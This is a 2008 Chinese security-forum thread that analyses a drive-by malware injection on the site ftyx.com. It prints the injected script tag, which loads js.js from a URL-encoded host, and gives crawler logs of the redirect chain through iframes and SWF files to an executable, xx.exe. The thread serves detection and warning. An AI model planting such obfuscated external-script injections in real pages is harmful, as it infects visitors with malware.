hxxp://www.ftyx.com/[挂马 by 深红的雪]

显示全部楼层 · 发表于 2008-12-23 10:05:40

帮忙分析一下，畅游报挂马

确实被挂马，见分析
帮助修改了标题 :D

深红的雪

[ 本帖最后由深红的雪于 2008-12-23 11:54 编辑 ]

显示全部楼层 · 发表于 2008-12-23 10:14:33

网页分析结果如下(250662772).
[wide]http://www.ftyx.com
[script]http://www.ftyx.com/images/flash.js
[script]http://www.ftyx.com/css/common.js
[script]http://w.e5x8.com/js.js （已经失效）

显示全部楼层 · 发表于 2008-12-23 11:52:03

沸腾渔乡证实被挂马

挂在尾部：

</SCRIPT><script language=javascript src=http://%77%2E%65%35%78%38%2E%63%6F%6D/js.js></script>

hxxp://w.e5x8.com/js.js

Log is generated by FreShow.
[wide]http://www.ftyx.com
[script]http://w.e5x8.com/js.js
      [frame]http://w.c66l.cn/swf.htm
         [object]http://w.c66l.cn/ff.swf
            [object]http://a.wuc7.com/xx.exe
         [object]http://w.c66l.cn/ie.swf
            [object]http://a.wuc7.com/xx.exe
         [frame]http://w.c66l.cn/all.htm
            [frame]http://w.c66l.cn/1.htm
                  [object]http://a.wuc7.com/xx.exe
            [frame]http://w.c66l.cn/newlz.htm
                  [object]http://a.wuc7.com/xx.exe
            [frame]http://w.c66l.cn/s.htm
            [frame]http://w.c66l.cn/office.htm
            [frame]http://w.c66l.cn/bf.htm
            [frame]http://w.c66l.cn/cx.htm
            [frame]http://w.c66l.cn/uu.htm
            [frame]http://w.c66l.cn/2.htm
            [frame]http://w.c66l.cn/3.htm
            [frame]http://w.c66l.cn/4.htm
            [frame]http://w.c66l.cn/5.htm

[ 本帖最后由深红的雪于 2008-12-23 11:55 编辑 ]

显示全部楼层 · 发表于 2008-12-23 12:09:29

原帖由 深红的雪 于 2008-12-23 11:52 发表
沸腾渔乡证实被挂马

挂在尾部：

hxxp://w.e5x8.com/js.js

Log is generated by FreShow.
[wide]http://www.ftyx.com
[script]http://w.e5x8.com/js.js
[frame]http://w.c66l.cn/swf.h ...

那个JS你能解析出来？我下都下不了打开了网站也没发现问题难道这JS又重新挂上去了

显示全部楼层 · 发表于 2008-12-23 12:10:35

确实可以解析出来了，看来又挂上去了难道刚刚是JS维护中。。。

显示全部楼层 · 发表于 2008-12-23 12:15:48

Log is generated by FreShow.
[wide]http://www.ftyx.com
[script]http://www.ftyx.com/images/flash.js
[script]http://www.ftyx.com/css/common.js
[script]http://%77%2E%65%35%78%38%2E%63%6F%6D/js.js
      [frame]http://w.c66l.cn/swf.htm
         [frame]http://w.c66l.cn/all.htm
            [frame]http://w.c66l.cn/1.htm
                  [object]http://a.wuc7.com/xx.exe
            [frame]http://w.c66l.cn/newlz.htm
                  [object]http://a.wuc7.com/xx.exe
            [frame]http://w.c66l.cn/s.htm
                  [object]http://a.wuc7.com/xx.exe
            [frame]http://w.c66l.cn/office.htm
                  [object]http://a.wuc7.com/xx.exe
            [frame]http://w.c66l.cn/bf.htm
                  [object]http://a.wuc7.com/xx.exe
            [frame]http://w.c66l.cn/cx.htm
                  [object]http://a.wuc7.com/xx.exe
            [frame]http://w.c66l.cn/uu.htm
                  [object]http://w.c66l.cn/UU.in
            [frame]http://w.c66l.cn/2.htm
                  [object]http://a.wuc7.com/xx.exe
            [frame]http://w.c66l.cn/3.htm
                  [object]http://d.wuc7.com/xx.exe
            [frame]http://w.c66l.cn/4.htm
                  [object]http://a.wuc7.com/xx.exe
            [frame]http://w.c66l.cn/5.htm
                  [object]http://a.wuc7.com/xx.exe
         [script]http://js.tongji.cn.yahoo.com/806392/ystat.js

[已鉴定] hxxp://www.ftyx.com/[挂马 by 深红的雪]